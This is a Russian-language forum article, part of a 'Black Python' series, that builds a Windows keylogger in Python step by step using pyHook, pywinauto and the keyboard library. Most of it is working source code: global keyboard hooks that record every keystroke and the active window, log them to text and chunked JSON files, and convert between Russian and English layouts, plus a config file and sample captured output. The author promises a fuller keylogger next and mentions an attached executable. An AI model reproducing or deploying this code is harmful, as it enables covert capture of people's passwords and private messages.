Ave, киберсообщество.
Настало время выйти в свет 7 части цикла статей Black Python. На этот раз я расскажу, как сделать модуль кейлоггера. Он является обособленным от остальных модулей - профита с использования в связке с уже написанным module_manager'ем я не вижу.
При создании кейлоггера я столкнулся с некоторыми трудностями. Предлагаю фрегатом пройтись по волнам моего пути, дабы дать вам пищу для размышлений в тех частях кода, которые не вошли в финальную версию модуля - возможно, кому-то будет полезно.
Часть первая. PyHook.
При изучении реализаций перехвата нажатий клавиш, первым в поисковом запросе мне попался PyHook. Я некогда уже работал с этим модулем, поэтому сразу приступил к разработке keylogger'а.
Через стандартный путь установки дополнительных модулей подключить модуль PyHook не удается, поэтому сразу идем на сайт:
https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook
Скачиваем модуль, подходящий для вашей системы в папку с проектом:
В терминале PyCharm'а устанавливаем скачанную библиотеку в виртуальное окружение через pip, например:
Следом установим знакомую по прошлым статьям библиотеку pywin32:
Основной механизм перехвата клавиш выглядит так:
В результате у нас будет выведена на экран подобная структура:
Как видим, регистр не учитывается(язык, к слову, тоже).
Теперь обработаем выход из программы. Установим библиотеку win32api:
В итоге у нас готова реализация вывода на экран всех клавиш, а при нажатии на escape происходит выход. Соберем наработки в класс:
Все нажатые клавиши будут копиться в списке keys. Но для кейлоггер модуля этого недостаточно, поэтому класс называется коллекционером. Пример работы с колекцией:
В итоге каждое нажатие будет логгироваться в файл txt(simple_log), а каждые limit символов у нас будет вестись json учет(save_condition). Уже больше похоже на кейлоггер, однако, файл json периодически будет заменяться на очередные limit клавиш. Обернем методы в класс KeyLogger и добавим возможность вести учет в несколько файлов.
На этом модуль кейлоггера можно было бы заканчивать, однако на этом этапе я заметил, что учет клавиш не ведется в браузере или блокноте (нажатия регистрировались в папке или в PyCharm'е). Разумеется, это никуда не годится, и я начал искать другие возможности реализации.
Часть вторая. PyWinAuto.
В поиске решения проблемы или альтернативы я наткнулся на модуль PyWinAuto. Он довольно-таки интересный, однако, не без минусов. Например, те же отсутствие регистра и смены языка(в любой раскладке латиница). Набросав функции взаимодействия с модулем, я получил код:
Нажатия действуют в любой программе, поэтому модуль занимает в рейтинге хуков место выше, чем PyHook. Можно было бы адаптировать эти методы под класс колекции, но я решил поискать еще варианты и встретил модуль Keyboard.
Часть третья. Keyboard. Финал.
О модуле до этого уже слышал, но пользоваться не приходилось. Можете ознакомиться с ним (https://github.com/boppreh/keyboard), то, что я буду сейчас с ним делать - малая часть его возможностей. Взаимодействие с модулем в наших целях выглядит так:
Вот так вот просто. Смена раскладки клавиатуры не влияет на e.name, но регистр клавиши учитывается. Что же, давайте своими силами решим проблему с раскладкой, добавив функцию:
Отлично! С этим можно работать. Адаптируем KeyCollection под keyboard и подведем итоги.
Модуль целиком(с менеджером и загрузкой конфига):
Как видим, при некоторых трудностях, можно не переписывать программы целиком, а заменить несколько строчек кода. Для этого всего лишь достаточно писать интерфейсы, а не конкретные реализации, а также разграничивать функционал по классам. В данной статье мы написали неплохую заготовку кейлоггера, однако, очень скоро вас ждет очередная статья, в которой создадим полноценный прокаченный keylogger на основе этого.
Результаты в виде исходников (all и final версии) и исполняемого файла(final) с конфигом прикладываю.
Настало время выйти в свет 7 части цикла статей Black Python. На этот раз я расскажу, как сделать модуль кейлоггера. Он является обособленным от остальных модулей - профита с использования в связке с уже написанным module_manager'ем я не вижу.
При создании кейлоггера я столкнулся с некоторыми трудностями. Предлагаю фрегатом пройтись по волнам моего пути, дабы дать вам пищу для размышлений в тех частях кода, которые не вошли в финальную версию модуля - возможно, кому-то будет полезно.
Часть первая. PyHook.
При изучении реализаций перехвата нажатий клавиш, первым в поисковом запросе мне попался PyHook. Я некогда уже работал с этим модулем, поэтому сразу приступил к разработке keylogger'а.
Через стандартный путь установки дополнительных модулей подключить модуль PyHook не удается, поэтому сразу идем на сайт:
https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook
Скачиваем модуль, подходящий для вашей системы в папку с проектом:
- pyHook‑1.5.1‑cp37‑cp37m‑win32.whl
- pyHook‑1.5.1‑cp37‑cp37m‑win_amd64.whl
В терминале PyCharm'а устанавливаем скачанную библиотеку в виртуальное окружение через pip, например:
pip install pyHook‑1.5.1‑cp37‑cp37m‑win_amd64.whl
Следом установим знакомую по прошлым статьям библиотеку pywin32:
pip install pywin32
Основной механизм перехвата клавиш выглядит так:
Python:
import pyHook
import pythoncom
# функция для обработки перехваченных событий
def key_event(event):
# пакуем интересующие параметры в структуру
key = {'key': event.Key, 'key_id': event.KeyID, 'ascii': event.Ascii, 'char': chr(event.Ascii),
'window': event.WindowName}
# выводим на экран
print(key)
# заканчиваем обработку (если False, то нажатие клавиши не будет учитываться)
return True
def main():
# Инициализируем HookManager
hook = pyHook.HookManager()
# Перенаправляем поток через нашу функцию key_event
hook.KeyDown = key_event
# подрубаем клавиатурные хуки
hook.HookKeyboard()
# получаем сообщения от системы
pythoncom.PumpMessages()
if __name__ == '__main__':
main()
В результате у нас будет выведена на экран подобная структура:
v{'key': 'V', 'key_id': 86, 'ascii': 1084, 'char': 'м', 'window': 'article_keylogger [C:\\Users\\Gh0stage\\Desktop\\articles\\article_keylogger] - ...\\sandbox.py [article_keylogger] - PyCharm (Administrator)'}
l{'key': 'L', 'key_id': 76, 'ascii': 1076, 'char': 'д', 'window': 'article_keylogger [C:\\Users\\Gh0stage\\Desktop\\articles\\article_keylogger] - ...\\sandbox.py [article_keylogger] - PyCharm (Administrator)'}
m{'key': 'M', 'key_id': 77, 'ascii': 1100, 'char': 'ь', 'window': 'article_keylogger [C:\\Users\\Gh0stage\\Desktop\\articles\\article_keylogger] - ...\\sandbox.py [article_keylogger] - PyCharm (Administrator)'}
i{'key': 'I', 'key_id': 73, 'ascii': 1096, 'char': 'ш', 'window': 'article_keylogger [C:\\Users\\Gh0stage\\Desktop\\articles\\article_keylogger] - ...\\sandbox.py [article_keylogger] - PyCharm (Administrator)'}
'key' - английское представление нажатой клавиши
'key_id' - машинное представление
'ascii' - код символа
'char' - преобразованный в символ ascii код
'window' - окно, в котором считано нажатие
l{'key': 'L', 'key_id': 76, 'ascii': 1076, 'char': 'д', 'window': 'article_keylogger [C:\\Users\\Gh0stage\\Desktop\\articles\\article_keylogger] - ...\\sandbox.py [article_keylogger] - PyCharm (Administrator)'}
m{'key': 'M', 'key_id': 77, 'ascii': 1100, 'char': 'ь', 'window': 'article_keylogger [C:\\Users\\Gh0stage\\Desktop\\articles\\article_keylogger] - ...\\sandbox.py [article_keylogger] - PyCharm (Administrator)'}
i{'key': 'I', 'key_id': 73, 'ascii': 1096, 'char': 'ш', 'window': 'article_keylogger [C:\\Users\\Gh0stage\\Desktop\\articles\\article_keylogger] - ...\\sandbox.py [article_keylogger] - PyCharm (Administrator)'}
'key' - английское представление нажатой клавиши
'key_id' - машинное представление
'ascii' - код символа
'char' - преобразованный в символ ascii код
'window' - окно, в котором считано нажатие
Как видим, регистр не учитывается(язык, к слову, тоже).
Теперь обработаем выход из программы. Установим библиотеку win32api:
pip install pypiwin32
Python:
import win32api
# В key_event добавим:
if key['key'] == 'Escape':
win32api.PostQuitMessage()
В итоге у нас готова реализация вывода на экран всех клавиш, а при нажатии на escape происходит выход. Соберем наработки в класс:
Python:
import pyHook
import pythoncom
import win32api
# класс по сбору нажатий клавиш
class KeyCollectionPyHook:
def __init__(self):
# список всех нажатых клавиш
self.keys = []
# инициализируем HookManager
self.hook = pyHook.HookManager()
# добавляем тригер на каждое нажатие (понадобится позже)
def new_key_trigger(self, key):
pass
# функция обабатывающая нажатия
def key_event(self, *args):
try:
# пробуем обработать нажатие
event = args[0]
key = {'key': event.Key, 'key_id': event.KeyID, 'ascii': event.Ascii, 'char': chr(event.Ascii), 'window': event.WindowName}
# добавляем структуру в список
self.add_key(key)
# вызываем триггер
self.new_key_trigger(key)
return True
except:
# игнорируем клавишу в случае ошибки
return True
# добавление в список
def add_key(self, key):
# если нажата специальная клавиша, помещаем ее в []
if len(key['key']) > 1:
key['key'] = f"[{key['key']}]"
self.keys.append(key)
# запуск механизма по сбору
def start(self):
# назначаем функцию обработки на нажатие
self.hook.KeyDown = self.key_event
# 'прослушиваем' клавиатуру
self.hook.HookKeyboard()
# получаем сообщения
pythoncom.PumpMessages()
# остановка механизма по сбору
@staticmethod
def stop():
win32api.PostQuitMessage()
Все нажатые клавиши будут копиться в списке keys. Но для кейлоггер модуля этого недостаточно, поэтому класс называется коллекционером. Пример работы с колекцией:
Python:
def on_key_down(key):
simple_log(key)
save_condition()
exit_condition(key)
def simple_log(key, filename='keylogger.txt'):
with open(filename, 'a', encoding='windows-1251') as txt_file:
txt_file.write(str(key['key']))
def save_condition(filename='keylogger.json', limit=100):
if len(key_collection.keys) == limit:
with open(filename, 'w') as key_file:
json.dump(key_collection.keys, key_file)
key_collection.keys = []
def exit_condition(key):
if key['key'] == '[End]':
key_collection.stop()
save_condition()
def main():
global key_collection
key_collection = KeyCollectionPyHook()
key_collection.new_key_trigger = on_key_down
key_collection.start()
if __name__ == '__main__':
main()
В итоге каждое нажатие будет логгироваться в файл txt(simple_log), а каждые limit символов у нас будет вестись json учет(save_condition). Уже больше похоже на кейлоггер, однако, файл json периодически будет заменяться на очередные limit клавиш. Обернем методы в класс KeyLogger и добавим возможность вести учет в несколько файлов.
Python:
# класс для сохранения списков KeyCollection
class KeyLogger:
def __init__(self, filename, limit, replace_part, on_save=None):
# оригинальное имя файла для simple_log()
self.filename = filename
# часть имени файла под замену на очередную порцию символов
self.replace_part = replace_part
# номер порции
self.chapter = 0
# размер порции
self.limit = limit
# триггер срабатывающий при сохраении (потребуется далее)
if on_save:
self.trigger_on_save = on_save
# Экземпляр класса созданного выше
self.key_collection = KeyCollectionPyHook()
# триггер при сохранении
@staticmethod
def trigger_on_save(self):
pass
# настройка и запуск колекции
def configure_and_start(self):
self.key_collection.new_key_trigger = self.on_key_down
self.key_collection.start()
# инструкции при нажатии клавиши
def on_key_down(self, key):
self.simple_log(key)
self.save_condition()
self.exit_condition(key)
# логгирование каждого символа в файл
def simple_log(self, key):
with open(self.filename, 'a', encoding='windows-1251') as txt_file:
txt_file.write(str(key['key']))
# прверка условия сохранения(достижение лимита)
def save_condition(self):
if len(self.get_keys()) == self.limit:
self.save_engine()
self.trigger_on_save()
# сохранение колекции
def save_engine(self):
if len(self.get_keys()) > 0:
# генерация имени файла для очередной порции
self.save_key_dict(self.change_name(self.filename, self.chapter))
self.chapter += 1
self.clear_keys()
# получение нового имени файла (замена replace_part на номер порции)
def change_name(self, filename, chapter):
return filename.replace(self.replace_part, str(chapter)) if self.replace_part in filename else filename
# дамп колекции
def save_key_dict(self, filename):
with open(filename, 'w') as key_file:
json.dump(self.get_keys(), key_file)
# проверка условия выхода из программы (клавиша end)
def exit_condition(self, key):
if key['key'] == '[End]':
self.exit_engine()
# остановка коллекционирования и сохранение последней порции
def exit_engine(self):
self.key_collection.stop()
self.save_engine()
def get_keys(self):
return self.key_collection.keys
def clear_keys(self):
self.key_collection.keys = []
def main():
key_logger = KeyLogger('key_num.json', 10, 'num')
key_logger.configure_and_start()
if __name__ == '__main__':
try:
main()
except:
pass
На этом модуль кейлоггера можно было бы заканчивать, однако на этом этапе я заметил, что учет клавиш не ведется в браузере или блокноте (нажатия регистрировались в папке или в PyCharm'е). Разумеется, это никуда не годится, и я начал искать другие возможности реализации.
Часть вторая. PyWinAuto.
В поиске решения проблемы или альтернативы я наткнулся на модуль PyWinAuto. Он довольно-таки интересный, однако, не без минусов. Например, те же отсутствие регистра и смены языка(в любой раскладке латиница). Набросав функции взаимодействия с модулем, я получил код:
pip install pywinauto
Python:
from pywinauto.win32_hooks import Hook, KeyboardEvent, MouseEvent
import pythoncom
# функция при событии клавиатуры или мыши
def on_event(args):
# если событие клавиатурное
if isinstance(args, KeyboardEvent):
# при нажатии на кнопку
if args.event_type == 'key down':
# вывести на экран текущую клавишу и зажатую комбинацию клавиш без повторений
# если зажать клавишу, то список (почему-то) не очищается даже со временем
key = {'key': args.current_key, 'pressed': set(args.pressed_key)}
print(key)
# если событие мыши
if isinstance(args, MouseEvent):
if args.event_type == 'key down':
# показать какой кнопкой надавили в какой точке экрана
print(args.event_type, args.current_key, f'({args.mouse_x}, {args.mouse_y})')
def main():
# загружаем хуки
hk = Hook()
# назначаем функцию обработчика
hk.handler = on_event
# подключаем клавиатуру и мышь
hk.hook(keyboard=True, mouse=True)
# ждем сообщения
pythoncom.PumpMessages()
if __name__ == '__main__':
main()
Нажатия действуют в любой программе, поэтому модуль занимает в рейтинге хуков место выше, чем PyHook. Можно было бы адаптировать эти методы под класс колекции, но я решил поискать еще варианты и встретил модуль Keyboard.
Часть третья. Keyboard. Финал.
О модуле до этого уже слышал, но пользоваться не приходилось. Можете ознакомиться с ним (https://github.com/boppreh/keyboard), то, что я буду сейчас с ним делать - малая часть его возможностей. Взаимодействие с модулем в наших целях выглядит так:
pip install keyboard
Python:
import keyboard
def key_event(e):
print(e.event_type, e.name)
# остановка модуля
# keyboard.unhook_all()
def main():
keyboard.hook(key_event)
keyboard.wait()
if __name__ == '__main__':
main()
Вот так вот просто. Смена раскладки клавиатуры не влияет на e.name, но регистр клавиши учитывается. Что же, давайте своими силами решим проблему с раскладкой, добавив функцию:
Python:
def get_alternate(key):
# значения клавиш английской и русской раскладки
eng = "~!@#$%^&*()_+qwertyuiop[]asdfghjkl;'zxcvbnm,./"
rus = "ё!\"№;%:?*()_+йцукенгшщзхъфывапролджэячсмитьбю."
# запоминаем состояние регистра относительно нижнего
state = key.islower()
# формируем словарь для операции повышения, понижения регистра
alternate_state = {True: lambda x: x.lower(), False: lambda x: x.upper()}
# понижаем регистр для попадания клавиши в выборку
key = key.lower()
# проверяем в какой выборке находится символ
if key in rus:
# меняем на ту же клавишу в другой раскладке
return alternate_state[state](eng[rus.index(key)])
elif key in eng:
return alternate_state[state](rus[eng.index(key)])
else:
# если не нашли(например специальная клавиша) то сообщаем, что альтернатива не требуется
return None
def key_event(e):
# обрабатываем клавиши при нажатии
if e.event_type == 'down':
key = e.name
# формируем структуру с альтернативой
key = {'key': key, 'alternate': get_alternate(key)}
print(key)
Отлично! С этим можно работать. Адаптируем KeyCollection под keyboard и подведем итоги.
Модуль целиком(с менеджером и загрузкой конфига):
Код:
import json
import keyboard
from additional import make_folders
class KeyCollectionKeyboard:
def __init__(self):
self.keys = []
self.hook = None
def new_key_trigger(self, key):
pass
def key_event(self, e):
if e.event_type == 'down':
key = e.name
key = {'key': key, 'alternate': KeyCollectionKeyboard.get_alternate(key)}
self.add_key(key)
def add_key(self, key):
if len(key['key']) > 1:
key['key'] = f"[{key['key']}]"
self.keys.append(key)
self.new_key_trigger(key)
def start(self):
self.hook = keyboard.hook(self.key_event)
keyboard.wait()
@staticmethod
def get_alternate(key):
eng = "~!@#$%^&*()_+qwertyuiop[]asdfghjkl;'zxcvbnm,./"
rus = "ё!\"№;%:?*()_+йцукенгшщзхъфывапролджэячсмитьбю."
state = key.islower()
alternate_state = {True: lambda x: x.lower(), False: lambda x: x.upper()}
key = key.lower()
if key in rus:
return alternate_state[state](eng[rus.index(key)])
elif key in eng:
return alternate_state[state](rus[eng.index(key)])
else:
return None
@staticmethod
def stop():
keyboard.unhook_all()
class KeyLogger:
def __init__(self, filename, limit, replace_part, on_save=None):
self.filename = filename
self.replace_part = replace_part
self.limit = limit
self.chapter = 0
if on_save:
self.trigger_on_save = on_save
self.key_collection = KeyCollectionKeyboard()
@staticmethod
def trigger_on_save():
pass
def configure_and_start(self):
self.key_collection.new_key_trigger = self.on_key_down
self.key_collection.start()
def on_key_down(self, key):
self.simple_log(key)
self.save_condition()
self.exit_condition(key)
def simple_log(self, key):
with open(self.filename, 'a', encoding='windows-1251') as txt_file:
txt_file.write(str(key['key']))
# будем вести лог и для альтернативных нажатий
with open(self.filename.replace(self.replace_part, 'alt'), 'a', encoding='windows-1251') as txt_file:
if not key['alternate']:
txt_file.write(str(key['key']))
else:
txt_file.write(str(key['alternate']))
def save_condition(self):
if len(self.get_keys()) == self.limit:
self.save_engine()
self.trigger_on_save()
def save_engine(self):
if len(self.get_keys()) > 0:
self.save_key_dict(self.change_name(self.filename, self.chapter))
self.chapter += 1
self.clear_keys()
def save_key_dict(self, filename):
with open(filename, 'w') as key_file:
json.dump(self.get_keys(), key_file)
def change_name(self, filename, chapter):
return filename.replace(self.replace_part, str(chapter)) if self.replace_part in filename else filename
def exit_condition(self, key):
if key['key'] == '[end]':
self.exit_engine()
def exit_engine(self):
self.key_collection.stop()
self.save_engine()
def get_keys(self):
return self.key_collection.keys
def clear_keys(self):
self.key_collection.keys = []
def key_logger_manager(config, on_save=None):
make_folders(config['filename'])
key_logger = KeyLogger(config['filename'], config['limit'], config['replace_part'], on_save)
key_logger.configure_and_start()
if __name__ == '__main__':
try:
with open('config.json', 'r') as config_file:
key_config = json.load(config_file)
key_logger_manager(key_config)
except Exception as e:
print(e)
Код:
{
"filename": "key_logs\\keylogger_num.json",
"replace_part": "num",
"limit": 25
}
Код:
[
{
"key": "[shift]",
"alternate": null
},
{
"key": "\u041f",
"alternate": "G"
},
{
"key": "\u0440",
"alternate": "h"
},
{
"key": "\u0438",
"alternate": "b"
},
{
"key": "\u0432",
"alternate": "d"
},
{
"key": "\u0435",
"alternate": "t"
},
{
"key": "\u0442",
"alternate": "n"
},
{
"key": "[space]",
"alternate": null
},
{
"key": "[shift]",
"alternate": null
},
{
"key": "[alt]",
"alternate": null
},
{
"key": "[caps lock]",
"alternate": null
},
{
"key": "[caps lock]",
"alternate": null
},
{
"key": "[caps lock]",
"alternate": null
},
{
"key": "\u041c",
"alternate": "V"
},
{
"key": "\u0414",
"alternate": "L"
},
{
"key": "\u042c",
"alternate": "M"
},
{
"key": "\u0428",
"alternate": "I"
},
{
"key": "[shift]",
"alternate": null
},
{
"key": "!",
"alternate": "!"
},
{
"key": "[space]",
"alternate": null
},
{
"key": "[shift]",
"alternate": null
},
{
"key": "\u0436",
"alternate": ";"
},
{
"key": ")",
"alternate": ")"
},
{
"key": "[enter]",
"alternate": null
},
{
"key": "0",
"alternate": null
}
]
[shift]Ghbdtn[space][shift][alt][caps lock][caps lock][caps lock]VLMI[shift]![space][shift];)[enter]000000000
[shift]Привет[space][shift][alt][caps lock][caps lock][caps lock]МДЬШ[shift]![space][shift]ж)[enter]000000000
Как видим, при некоторых трудностях, можно не переписывать программы целиком, а заменить несколько строчек кода. Для этого всего лишь достаточно писать интерфейсы, а не конкретные реализации, а также разграничивать функционал по классам. В данной статье мы написали неплохую заготовку кейлоггера, однако, очень скоро вас ждет очередная статья, в которой создадим полноценный прокаченный keylogger на основе этого.
Результаты в виде исходников (all и final версии) и исполняемого файла(final) с конфигом прикладываю.
Вложения
Последнее редактирование: